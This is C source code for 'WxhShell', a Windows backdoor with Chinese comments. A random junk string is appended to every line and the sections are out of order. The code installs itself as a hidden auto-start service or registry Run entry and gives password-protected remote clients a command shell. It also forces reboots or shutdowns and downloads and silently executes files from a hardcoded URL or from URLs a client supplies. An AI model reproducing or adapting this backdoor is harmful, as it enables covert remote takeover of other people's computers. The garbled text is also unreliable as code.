    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B_SZ?o  
    if(Boot(SHUTDOWN)) ]k'#g Z$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #MhNdH#  
    else { `7QvwXsH]  
    closesocket(wsh); u[V4OU}%  
    ExitThread(0); fqcU5l[v,  
    } VM-qVd-  
    break; Q$xa  
    } Em~7D ]Y  
  // 获取shell g[#k.CuP  
  case 's': { Q^a&qYK  
    CmdShell(wsh); pBSq%Hy:  
    closesocket(wsh); >W`S(a Mn  
    ExitThread(0); ( oQ'4,F  
    break; hsTFAfa'  
  } }mKGuCoH>  
  // 退出 OwG6i|q  
  case 'x': { +={  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jh37pI  
    CloseIt(wsh); n9]IBIthe  
    break; Ci]'G>F@"  
    } ]regi- LGU  
  // 离开 pT("2:)x  
  case 'q': { V*6l6-y~Ih  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a4A`cUt  
    closesocket(wsh); i{TIm}_\  
    WSACleanup(); bK ?1MiXb  
    exit(1); "bD+/\ z  
    break; @T<ad7g-2J  
        } ~A8qeaP  
  } ZhhI@_sz  
  } 6uu^A9x  
SX1X< 9  
  // 提示信息 o2;(VSKhS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X}zX`]:I'  
} J"%8:pL  
  } Ho|o,XvLv  
hMNJ'i}  
  return; {V}t'x`4c  
} u|(Ux~O  
XOu+&wOu  
// shell模块句柄 CTl(_g  
int CmdShell(SOCKET sock) M:R8<.{  
{ AI&qU/}  
STARTUPINFO si; \bU`  
ZeroMemory(&si,sizeof(si)); r0)JUc}Fyq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EfFz7j&X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oq*n9V  
PROCESS_INFORMATION ProcessInfo; tRLE,(S,-  
char cmdline[]="cmd"; L/Hv4={  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9wAA. -"  
  return 0; 9.xvV|Sp  
} )HEfU31IC  
n4^~gT%b5]  
// 自身启动模式 L<bYRGz  
int StartFromService(void) x|.v{tQa  
{ mfZ)^X  
typedef struct K@q&HV"'.  
{ 2ubmsbt$  
  DWORD ExitStatus; Dq?E\  
  DWORD PebBaseAddress; fZ[kh{|  
  DWORD AffinityMask; cb +l"FI7  
  DWORD BasePriority; 2Oyy`k  
  ULONG UniqueProcessId; z<a$q3!#  
  ULONG InheritedFromUniqueProcessId; T |37#*c  
}   PROCESS_BASIC_INFORMATION; (jMtN?&0H-  
]53O}sH>  
PROCNTQSIP NtQueryInformationProcess; d'ZS;l   
q<n[.u1@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;xfO16fNk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e,EK,,iY5  
ERF,tLa!  
  HANDLE             hProcess; w"{bp  
  PROCESS_BASIC_INFORMATION pbi; X` ATH^S  
uaiz*Im  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); doBNghS  
  if(NULL == hInst ) return 0; >L8?=>>?\  
os[ZIHph  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M~als3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,"B?_d6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yk<VlS  
^ pj>9%  
  if (!NtQueryInformationProcess) return 0; G%S6$@:  
ZT6V/MD7T.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z(p*Z,?u  
  if(!hProcess) return 0; {|z#70  
jO=*:{#x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3 -tO;GKb  
|8bE9qt.P  
  CloseHandle(hProcess); lK*jhW?3:  
f e|g3>/|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >:2}V]/ ;  
if(hProcess==NULL) return 0; zDB" r  
(%bE~Q2P*<  
HMODULE hMod; w#&z]O9r  
char procName[255]; #EJP(wXa  
unsigned long cbNeeded; )Ob]T{GY  
kae2 73"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J@QdieW6  
vs +QbI6>-  
  CloseHandle(hProcess); UgC)7 K1  
#1[z;Mk0  
if(strstr(procName,"services")) return 1; // 以服务启动 *<IR9.~{6%  
X]!D;7^  
  return 0; // 注册表启动 +oZH?N4yaM  
} je,c7ZFO  
l xe`u}[  
// 主模块 Q/py qe G  
int StartWxhshell(LPSTR lpCmdLine) G=|70pxU  
{ :k~dj C  
  SOCKET wsl; 'd/*BjNp)  
BOOL val=TRUE; mZ7B<F[qV  
  int port=0; r2nBWA3  
  struct sockaddr_in door; 9 6=Z"  
v5T`K=qC  
  if(wscfg.ws_autoins) Install(); \,R!S/R#  
]v\^&7pW  
port=atoi(lpCmdLine); 0Gsu  
i6Qb[\;  
if(port<=0) port=wscfg.ws_port; |c0,  
*g_w I%l  
  WSADATA data; UW6VHA>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F+uk AT  
|n`PESf_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8}BS2C%P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j0x5@1`6G  
  door.sin_family = AF_INET; DtI$9`~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `*aBRwvK~  
  door.sin_port = htons(port); k][h9'  
1HbFtU`y~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u]M\3V.  
closesocket(wsl); Uyk,.*8"  
return 1; zsVcXBz  
} _R^y\1Qu  
ARF\fF|<2  
  if(listen(wsl,2) == INVALID_SOCKET) { T@P!L  
closesocket(wsl); 'wvMH;}u  
return 1; ;7Okyj6EP  
} L^FcS\r;  
  Wxhshell(wsl); d>|;f  
  WSACleanup(); q@l(Qol  
j (ygQ4T  
return 0; b7Oj<! Wo`  
_Yq@FOu  
} SkHYXe"]  
9x?'}  
// 以NT服务方式启动 ,h&a9:+i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sbnjy"Z%  
{ ((<`zx  
DWORD   status = 0; ()\jCNLT  
  DWORD   specificError = 0xfffffff; ,mKObMu  
c)~h<=)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {eQWO.C{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GeV+/^u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OJ1tV% E  
  serviceStatus.dwWin32ExitCode     = 0; S^N {wZo  
  serviceStatus.dwServiceSpecificExitCode = 0; f~ZEdq8  
  serviceStatus.dwCheckPoint       = 0; 6kR\xP]Kr  
  serviceStatus.dwWaitHint       = 0; SK R1E];4  
I[D8""U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BzN@gQo  
  if (hServiceStatusHandle==0) return; IQnIaZ  
z9DcnAs  
status = GetLastError(); ashar&'  
  if (status!=NO_ERROR) x[i`S8D  
{ zzIr2so  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y#HI;Y^RP  
    serviceStatus.dwCheckPoint       = 0; D4Etl5k  
    serviceStatus.dwWaitHint       = 0; (=c1  
    serviceStatus.dwWin32ExitCode     = status; ~L{l+jK$p  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3FNT|QF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |=K_F3aJ  
    return; ,_ .v_  
  } 9Ah[rK*}  
8-M e.2K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y1pu R7  
  serviceStatus.dwCheckPoint       = 0; ~h)&&' a  
  serviceStatus.dwWaitHint       = 0; (9C<K<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  {mTytT  
} 42+#<U7T  
)9L/sKz  
// 处理NT服务事件,比如:启动、停止 :O-1rD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gl7|H&&xV  
{ Hd &{d+B  
switch(fdwControl) fU+Pn@'  
{ p|[B =.c{  
case SERVICE_CONTROL_STOP: W Zn.;  
  serviceStatus.dwWin32ExitCode = 0; -VT+O+9_A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )uheV,ZnY  
  serviceStatus.dwCheckPoint   = 0; L{&U V0q!  
  serviceStatus.dwWaitHint     = 0; BVpO#c~I  
  { :/N+;- 18  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rs;r $  
  }  L,LNv  
  return; s'\$t  
case SERVICE_CONTROL_PAUSE: (gXN%rsY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0-d>I@j  
  break; v=?2S  
case SERVICE_CONTROL_CONTINUE: |E)aT#$f'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \Qy$I-Du  
  break; '0Q,  
case SERVICE_CONTROL_INTERROGATE: F0lOlS   
  break; v)X\GmW7w  
}; W+=o&V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J'T=q/  
} rcN 9.1  
(u1m]WYL  
// 标准应用程序主函数 z-T{~{q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $8~e}8dt|  
{ 6'-As= iw  
kcuzB+  
// 获取操作系统版本 h6D^G5i  
OsIsNt=GetOsVer(); BS 1Ap  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~bK9R 0|<  
kHK0(bYK  
  // 从命令行安装 g(E"4M@t!  
  if(strpbrk(lpCmdLine,"iI")) Install(); t^tmz PWA  
m#7*:i&@Y  
  // 下载执行文件 }6u2*(TmD  
if(wscfg.ws_downexe) { %; "@Ah  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c1XX~8  
  WinExec(wscfg.ws_filenam,SW_HIDE); f!_ ctp  
} &qM[g 9  
60>.ul2  
if(!OsIsNt) { Zu*K-ep"  
// 如果时win9x,隐藏进程并且设置为注册表启动 X[yNFW}S2W  
HideProc(); K`-!uZW:B7  
StartWxhshell(lpCmdLine); *m+BuGt|  
} 9&]M**X  
else F>hZ{   
  if(StartFromService()) 3L5r*fa  
  // 以服务方式启动 U9hS<}<Ki  
  StartServiceCtrlDispatcher(DispatchTable); ]/X(V|t  
else ~FU@wV^   
  // 普通方式启动 f58?5(Dc|  
  StartWxhshell(lpCmdLine); 2{|$T2?e  
IH *s8tPc  
return 0; K4ZolWbU  
} eOT+'[3"  
RO(TvZ0pE  
D<$XyP  
)?! [}t  
=========================================== %kshQ%P)?  
Q>< 0[EPj3  
#'baPqdO  
#KlCZ~s  
c]k*}W3T  
_ QOZ sEe  
" ,F6=b/eZ  
pc]J[ S?P  
#include <stdio.h> 8 .>/6M  
#include <string.h> $FTO  
#include <windows.h> m"eteA,"k_  
#include <winsock2.h> bC!`@/  
#include <winsvc.h> s@4nWe  
#include <urlmon.h> fh8j2S9J  
s"KJiQKGM  
#pragma comment (lib, "Ws2_32.lib") Q n)d2-<  
#pragma comment (lib, "urlmon.lib") (.Y/  
h&&6r\4/|  
#define MAX_USER   100 // 最大客户端连接数 *jq7X  
#define BUF_SOCK   200 // sock buffer lCd@jB{  
#define KEY_BUFF   255 // 输入 buffer ] y{WD=T  
OPJ: XbG  
#define REBOOT     0   // 重启 QF2q^[>w6  
#define SHUTDOWN   1   // 关机 G"5D< ]  
4bVO9aUG{  
#define DEF_PORT   5000 // 监听端口 <6TT)t<h  
{V19Zv"j  
#define REG_LEN     16   // 注册表键长度 uP $ Cj  
#define SVC_LEN     80   // NT服务名长度 ,i9Byx#TN  
Ga>uFb}W~  
// 从dll定义API Bh`N[\r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +avMX&%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 75T_Dx(H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rf:XRJ <4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @oP_;G  
#65^w=Sp}  
// wxhshell配置信息 .jw}JJ  
struct WSCFG { PC$CYW5  
  int ws_port;         // 监听端口 ~5 N)f UI\  
  char ws_passstr[REG_LEN]; // 口令 /&#XhrT  
  int ws_autoins;       // 安装标记, 1=yes 0=no RprKm'b8x`  
  char ws_regname[REG_LEN]; // 注册表键名 2zSG&",2D  
  char ws_svcname[REG_LEN]; // 服务名 e1myH6$W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RrZM&lXY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }kHdK vZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A5:qKaAq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $3T_ .  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u6V/JI}g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s'aip5P  
j1q[2'  
}; `N//A}9  
]Y>h3T~  
// default Wxhshell configuration wm{3&m  
struct WSCFG wscfg={DEF_PORT, #m{{a]zm^  
    "xuhuanlingzhe", 8M*PML4r  
    1, UV 4>N  
    "Wxhshell", gbeghLP[?  
    "Wxhshell", sxKf&p;  
            "WxhShell Service", dC e4u<so\  
    "Wrsky Windows CmdShell Service", 5<pftTcZ  
    "Please Input Your Password: ", ,C.:;Ime({  
  1, 0kQPJWF  
  "http://www.wrsky.com/wxhshell.exe",  9fnA  
  "Wxhshell.exe" F;ZSzWq  
    }; ,d+fDmm3  
\@3Qi8u//  
// 消息定义模块 qSqI7ptA\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; keW~ NM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GDhE[of  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }eQRN<}P  
char *msg_ws_ext="\n\rExit."; @$"J|s3M  
char *msg_ws_end="\n\rQuit."; iB0WEj[?  
char *msg_ws_boot="\n\rReboot..."; ,r^M?>  
char *msg_ws_poff="\n\rShutdown..."; <$w?/y/'  
char *msg_ws_down="\n\rSave to "; OJN2z  
5 8-e^.  
char *msg_ws_err="\n\rErr!"; unJid8Lo  
char *msg_ws_ok="\n\rOK!"; B_U{ s\VY  
H7U li]e3  
char ExeFile[MAX_PATH]; p^nL&yIW,%  
int nUser = 0; M2x["  
HANDLE handles[MAX_USER]; s5.AW8X=?*  
int OsIsNt; 5erc D  
jN-vY<?h]  
SERVICE_STATUS       serviceStatus; do-ahl,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aSuM2  
;@,Q&B2eM  
// 函数声明 2$_9cF Wm  
int Install(void); ^,F;M`[  
int Uninstall(void); [ xOzzp4  
int DownloadFile(char *sURL, SOCKET wsh); 9`jcC-;iv  
int Boot(int flag); fJ\sguZ  
void HideProc(void); k%wn0Erd  
int GetOsVer(void); V}d 9f 2  
int Wxhshell(SOCKET wsl); I KtB;  
void TalkWithClient(void *cs); jV#ahNq;  
int CmdShell(SOCKET sock); n?\ nn3  
int StartFromService(void); & gJV{V5Ay  
int StartWxhshell(LPSTR lpCmdLine); @D-AO_  
GLn{s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S-31-Zjw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]q- g[e'  
RjF'x  
// 数据结构和表定义 +X`V|E,no  
SERVICE_TABLE_ENTRY DispatchTable[] = I)q,kP@yY  
{ {U 'd}Q  
{wscfg.ws_svcname, NTServiceMain}, ; Sd\VR  
{NULL, NULL} lZ8CY  
}; 4k/V BZB  
E3@QI?n^^  
// 自我安装 ZKQ hbNT  
int Install(void) jztq.2-c#  
{ 9jN)I(^D6  
  char svExeFile[MAX_PATH]; Eca\fkj  
  HKEY key; )&era ` e[  
  strcpy(svExeFile,ExeFile); Q6o(']0  
H/M Au7  
// 如果是win9x系统,修改注册表设为自启动 Z3k(P  
if(!OsIsNt) { a$"ib  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 87 }&`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @prG%vb"  
  RegCloseKey(key); +jg9$e"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _, ;j7%j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dC=)^(  
  RegCloseKey(key); ze_{=Cv&Y  
  return 0; 0JgL2ayIVI  
    } ^mAYBOE  
  } )!g{Sbl  
} M3p   
else { hS[ yNwD  
d!KsNkk  
// 如果是NT以上系统,安装为系统服务 1Z[/KJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d=,%= @  
if (schSCManager!=0) < B_Vc:Q  
{ 2([2Pb3<"  
  SC_HANDLE schService = CreateService &U+ _ -Ph  
  ( 7iHK_\tn  
  schSCManager, k>dsw:  
  wscfg.ws_svcname, ^gV T$A  
  wscfg.ws_svcdisp, @i^~0A#q*  
  SERVICE_ALL_ACCESS, [Q\GxX.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?u4INZ0W  
  SERVICE_AUTO_START, mzQ`N}]T:  
  SERVICE_ERROR_NORMAL, b}T6v  
  svExeFile, > 0{S  
  NULL, 6"c1;P!4   
  NULL, 'Dvv?>=&  
  NULL, h25G/`  
  NULL, "MIq.@8ra  
  NULL ^xf<nNF:p  
  ); oG$)UTzGc  
  if (schService!=0) L lBN-9p  
  { k{gLMl  
  CloseServiceHandle(schService); {]z4k[;.h  
  CloseServiceHandle(schSCManager); ,!V]jP)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >5R <;#8  
  strcat(svExeFile,wscfg.ws_svcname); K^_i%~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9]t[J_YM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +A~\tK{  
  RegCloseKey(key); 5Z4- Z  
  return 0; Y(\T- bI  
    } )BfT7{WN  
  } JFgoN,xn  
  CloseServiceHandle(schSCManager); Bl9jkq ]  
} {lth+{&L#  
} SuZ&vqS  
Z):n c% S  
return 1; $3Z-)m  
} 7PR#(ftz  
AxxJk"v'y  
// 自我卸载 \rykBxs  
int Uninstall(void) mMMQ|ea  
{ "EU{8b  
  HKEY key; G/%iu;7ZCb  
7Cjd.0T=(  
if(!OsIsNt) { X=8Y&#%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I\qYkWg7  
  RegDeleteValue(key,wscfg.ws_regname); K[chjp!$l  
  RegCloseKey(key); C"lJl k9g^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g%u&Zkevx  
  RegDeleteValue(key,wscfg.ws_regname); z} '!eCl  
  RegCloseKey(key); *m%]zj0bo  
  return 0; i(? ,6)9  
  } {cpEaOyOM  
} 2MA]jT  
} U/lM\3v/e  
else { nA?Hxos  
OT^%3:zg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vK$"# F~  
if (schSCManager!=0) *5<Sr q'  
{ 9 2MTX Osp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .qk]$LJF7  
  if (schService!=0) eMRar<)+#*  
  { c*d 9'}E  
  if(DeleteService(schService)!=0) { iYnEwAoN;  
  CloseServiceHandle(schService); LQnkcV  
  CloseServiceHandle(schSCManager); 10#oG{ 9  
  return 0; %3HVFhl  
  } r%DFve:%  
  CloseServiceHandle(schService); 50dGBF  
  } v#=`%]mL  
  CloseServiceHandle(schSCManager); ~x{.jn  
} b;|55Y  
} KYJjwXT28W  
K/ &?VIi`z  
return 1; y/V%&.$o=  
} XPB9~::  
I ];M7  
// 从指定url下载文件 ylKmj]A  
int DownloadFile(char *sURL, SOCKET wsh) >=iy2~Fz,  
{ .oEmU+  
  HRESULT hr; A?TBtAe  
char seps[]= "/"; H' T  
char *token; PX|=(:(k  
char *file; E{HY!L[  
char myURL[MAX_PATH]; EkT."K  
char myFILE[MAX_PATH]; B= keBO](@  
%LXM+<N8  
strcpy(myURL,sURL); e6=]m#O9  
  token=strtok(myURL,seps); Y-ux7F{=z  
  while(token!=NULL) Ld^GV   
  { R{,ooxH\J  
    file=token; va f&X]p  
  token=strtok(NULL,seps); sBv>E}*R  
  } Khh0*S8.K  
$4jell  
GetCurrentDirectory(MAX_PATH,myFILE); +7Kyyu)y@  
strcat(myFILE, "\\"); (h']a!  
strcat(myFILE, file); ,fEO> i  
  send(wsh,myFILE,strlen(myFILE),0); Z -%(~  
send(wsh,"...",3,0); * y^OV_n-8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PiFD^w  
  if(hr==S_OK) ,(a5@H$f  
return 0; ~f|Z%&l|  
else !h&g7do]Z  
return 1; 1exl0]-  
lq.Te,Y%w  
} @eqeN9e  
hzI *{  
// 系统电源模块 )o!XWh  
int Boot(int flag) (2?G:+C 7  
{ W:i?t8y\y  
  HANDLE hToken; X5YiFLH>y\  
  TOKEN_PRIVILEGES tkp; ch5s<x#CE  
>]'yK!a?  
  if(OsIsNt) { 9*6]&:fm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p}Fs'l?7Rq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wix5B@  
    tkp.PrivilegeCount = 1; OT %nrzP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1Xy]D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uGdp@]z&8Q  
if(flag==REBOOT) { BiE08,nj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AvR2_  
  return 0; _<ut)G^9  
} DN4#H`  
else { %}2@rLP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4^6.~6a  
  return 0; r!}al5~&  
} Dc~,D1xWj  
  } 66snC{g U  
  else { \EoX8b}$b0  
if(flag==REBOOT) { Z?MoJ{.!?R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x0a.!  
  return 0; df+t:a  
} u% 2<\:~j  
else { ]L2Oz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) elJ)4Em  
  return 0; y0v]N  
} Oc9#e+_&  
} Ct$82J  
Kex[ >L10G  
return 1; 0ZAj=u@O  
} l2b{u GE  
R)!`JKeO/  
// win9x进程隐藏模块 'NZGQeb K  
void HideProc(void) %Qn(rA@9  
{ "a1O01n  
Fb2%!0i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _RMQy~&b  
  if ( hKernel != NULL ) E04l|   
  { ^=cXo<6D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SM[{BH<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tXF]t   
    FreeLibrary(hKernel); L{ gE'jCC  
  } ,xJrXPW  
rl:KJ\*D  
return; b syq*  
} [n,?WwC  
EruP  
// 获取操作系统版本 ,KW;2t*IQ@  
int GetOsVer(void) Hv#q:R8  
{ 9-*NW0  
  OSVERSIONINFO winfo; ]kktoP|D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B%<e FFV\  
  GetVersionEx(&winfo); kL@Wb/K JP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dOa!htx]  
  return 1; =4C}{IL  
  else j'Y / H5  
  return 0; Ex@`O+  
} tP ~zKU  
.M|>u_<Qd  
// 客户端句柄模块 zxD,E@lF  
int Wxhshell(SOCKET wsl) (g/7yO(s  
{ M%Ku5X6:/  
  SOCKET wsh; t[.W$1=  
  struct sockaddr_in client; U` R;P-  
  DWORD myID; Ru%|}sfd  
`ZHP1uQ<  
  while(nUser<MAX_USER) !7lj>BA>  
{ WbjF]b\  
  int nSize=sizeof(client); #/J 'P[z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); upn8n vy4(  
  if(wsh==INVALID_SOCKET) return 1; y93k_iq$S  
!MZw#=D`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Q$nA>trKA  
if(handles[nUser]==0) _rQUE ^9  
  closesocket(wsh); #,f{Ok+  
else XL< )v_  
  nUser++; :x>T}C<Y  
  } #Olg(:\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L0Vgo<A  
W|Ldu;#  
  return 0; _45cH{$sA  
} O@U?IF$  
,^T]UHRO  
// 关闭 socket D\L!F6taS  
void CloseIt(SOCKET wsh) Yt1mB[&f^  
{ N} />rD  
closesocket(wsh); 0TE@xqW  
nUser--; "|LQK0q3  
ExitThread(0); Q49BU@xX  
} T@+ClZi  
OS7R Qw1  
// 客户端请求句柄 1 0N,?a  
void TalkWithClient(void *cs) B< ;==|  
{ c cG['7  
f>iuHR*EXB  
  SOCKET wsh=(SOCKET)cs; 7s>a2  
  char pwd[SVC_LEN]; &H;8QZ8uw  
  char cmd[KEY_BUFF]; `bgb*Yaod  
char chr[1]; ;i)KHj'  
int i,j; ^KHLBSc:  
-Q[g/%  
  while (nUser < MAX_USER) { 9{J?HFw*;  
z4O o@3$\R  
if(wscfg.ws_passstr) { IlZu~B9c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xe:' 8J6L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FUTn  
  //ZeroMemory(pwd,KEY_BUFF); f'/ KMe%<  
      i=0; 2ChWe}f  
  while(i<SVC_LEN) { ]S /G\z  
tW6#e(^l6  
  // 设置超时 u*R7zY  
  fd_set FdRead; ?iSGH'[u  
  struct timeval TimeOut; r%MyR8'k]  
  FD_ZERO(&FdRead); R$0U<(/  
  FD_SET(wsh,&FdRead); ?vbDB4  
  TimeOut.tv_sec=8; [!+D <Y  
  TimeOut.tv_usec=0; !'c| N9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d.}}s$Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jn=ug42d  
Lt<oi8'N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J%P)%yX  
  pwd=chr[0]; S=9E@(]  
  if(chr[0]==0xd || chr[0]==0xa) { b~w KF0vq  
  pwd=0; nk08>veG  
  break; (KF7zP  
  } vo;5f[>4i  
  i++; zGs|DB  
    } z[ #6-T &  
# cWHDRLX  
  // 如果是非法用户,关闭 socket ya>N.h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `!Ln|_,d  
} Y^eX@dE FR  
u~Lu<3v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); & l^n4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BR3mAF  
wixD\t59X  
while(1) { 1M+Zkak7p  
NhlJ3/J j  
  ZeroMemory(cmd,KEY_BUFF); 5ZsDgOeY  
) hdgz$cl  
      // 自动支持客户端 telnet标准   :uR>UDlPX  
  j=0; ZQLB`n @  
  while(j<KEY_BUFF) { 5Fe-=BX(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q x.jCy@  
  cmd[j]=chr[0]; 4!'1/3cY  
  if(chr[0]==0xa || chr[0]==0xd) { a-Y6w5  
  cmd[j]=0; w|G~Il  
  break; )kA2vX^=Z  
  } 59MR|Jt  
  j++; \9jpCNdJ  
    } "'aqb~j^  
WB;J1TpM7  
  // 下载文件 #_p  
  if(strstr(cmd,"http://")) { oP-;y&AS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S-,kI  
  if(DownloadFile(cmd,wsh)) 7,su f }=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <j"O%y.  
  else A:xb!= 2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wz@/5c/u  
  } 5=.7\#D  
  else { yTj p-  
